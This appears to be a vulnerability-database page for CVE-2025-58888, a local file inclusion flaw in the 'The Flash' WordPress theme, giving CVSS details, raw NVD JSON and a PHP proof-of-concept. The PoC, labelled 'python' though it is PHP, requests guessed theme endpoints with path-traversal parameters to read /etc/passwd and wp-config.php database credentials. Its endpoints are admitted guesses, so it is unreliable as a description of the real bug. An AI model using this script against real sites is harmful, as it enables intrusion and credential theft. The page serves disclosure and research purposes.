Security Vulnerability Report
中文
CVE-2025-58888 CVSS 8.1 HIGH

CVE-2025-58888

Published: 2025-12-18 08:15:58
Last Modified: 2026-04-27 19:16:16

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes The Flash theflash allows PHP Local File Inclusion.This issue affects The Flash: from n/a through <= 1.15.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:theflash:*:*:*:*:*:wordpress:*:* - VULNERABLE
AncoraThemes The Flash WordPress主题 <= 1.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58888 PoC - The Flash Theme Local File Inclusion * Affected: The Flash WordPress Theme <= 1.15 * Type: Local File Inclusion (LFI) * CVSS: 8.1 (High) */ // Target URL - Replace with actual vulnerable site $target = 'http://target-site.com/'; // Vulnerable endpoint - Common patterns in WordPress themes $vulnerable_paths = [ 'wp-content/themes/theflash/?load_template=../../../../../../../../etc/passwd', 'wp-content/themes/theflash/includes/view.php?file=../../../../../../etc/passwd', 'wp-content/themes/theflash/functions.php?file=../../../../wp-config.php' ]; echo "[*] CVE-2025-58888 LFI PoC\n"; echo "[*] Target: {$target}\n\n"; foreach ($vulnerable_paths as $path) { $url = $target . $path; echo "[+] Testing: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'root:') !== false) { echo "[!] VULNERABLE! Retrieved /etc/passwd content:\n"; echo $response . "\n"; } elseif ($http_code == 200 && strpos($response, 'DB_NAME') !== false) { echo "[!] VULNERABLE! Retrieved wp-config.php with DB credentials!\n"; } } echo "\n[*] Note: Adjust paths based on target server configuration\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58888", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:57.910", "lastModified": "2026-04-27T19:16:15.630", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes The Flash theflash allows PHP Local File Inclusion.This issue affects The Flash: from n/a through <= 1.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ancorathemes:theflash:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.15", "matchCriteriaId": "C7A14F35-5AAA-4800-BFDA-73F067E1F6CE"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/theflash/vulnerability/wordpress-the-flash-theme-1-15-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}